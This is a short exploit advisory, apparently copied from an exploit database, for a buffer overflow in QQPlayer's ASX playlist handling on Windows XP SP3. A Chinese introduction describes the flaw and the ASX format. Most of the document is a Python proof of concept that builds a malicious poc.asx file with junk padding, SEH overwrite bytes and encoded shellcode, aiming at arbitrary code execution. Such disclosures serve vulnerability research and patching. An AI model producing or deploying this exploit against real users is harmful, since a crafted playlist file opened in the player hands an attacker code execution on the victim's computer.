QQ影音 (QQPlayer) 是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。QQPlayer在处理asx文件时存在缓冲区溢出漏洞,可能导致执行任意代码。
注:ASX文件是一个文本文件,他主要的目的是对流信息进行重定向,类似RPM(RM的中转文件)文件。 在ASX中包含了媒体内容对应的URL,当我们在HTML中让一个HYPERLINK与ASX联系时,浏览器会直接将ASX的内容送给MEDIA PLAYER,MEDIA PLAYER 会根据ASX文件的信息用相应的协议去打开指定位置上的多媒体信息流或多媒体文件。

[+]info:
~~~~~~~~~
#Title: QQPlayer asx File Processing Buffer Overflow Exploit
# Author: Li Qingshan of Information Security Engineering Center,School of Software and Microelectronics,Peking University
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Test: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1

[+]poc:
~~~~~~~~~

head ='''<ASX version="3.0">
<Entry>
<REF HREF="mms://site.com/ach/music/smpl/LACA-05928-002-tes_'''
junk = "A" * 1975
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x30\x83\xc0\x0c"
shellcode=("PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPMYZEV"
           "QN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWKRZPPRQGL"
           "KQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9FFQKOVQO0NL9"
           "QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN3LKS4LKC1XPMY1TW"
           "TGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1LKROLGKON5OKZPNUORF6R"
           "HOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE3512LSS6N3U2X3UUPDJA")
junk_="R"*8000
foot ='''_playlis.wma"/>
</Entry>
</ASX>'''
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.asx","w")
fobj.write(payload)
fobj.close()


[+]Reference:
~~~~~~~~~
http://www.exploit-db.com/exploits/14428
http://www.chinavideoonline.com/windows/windows_040.htm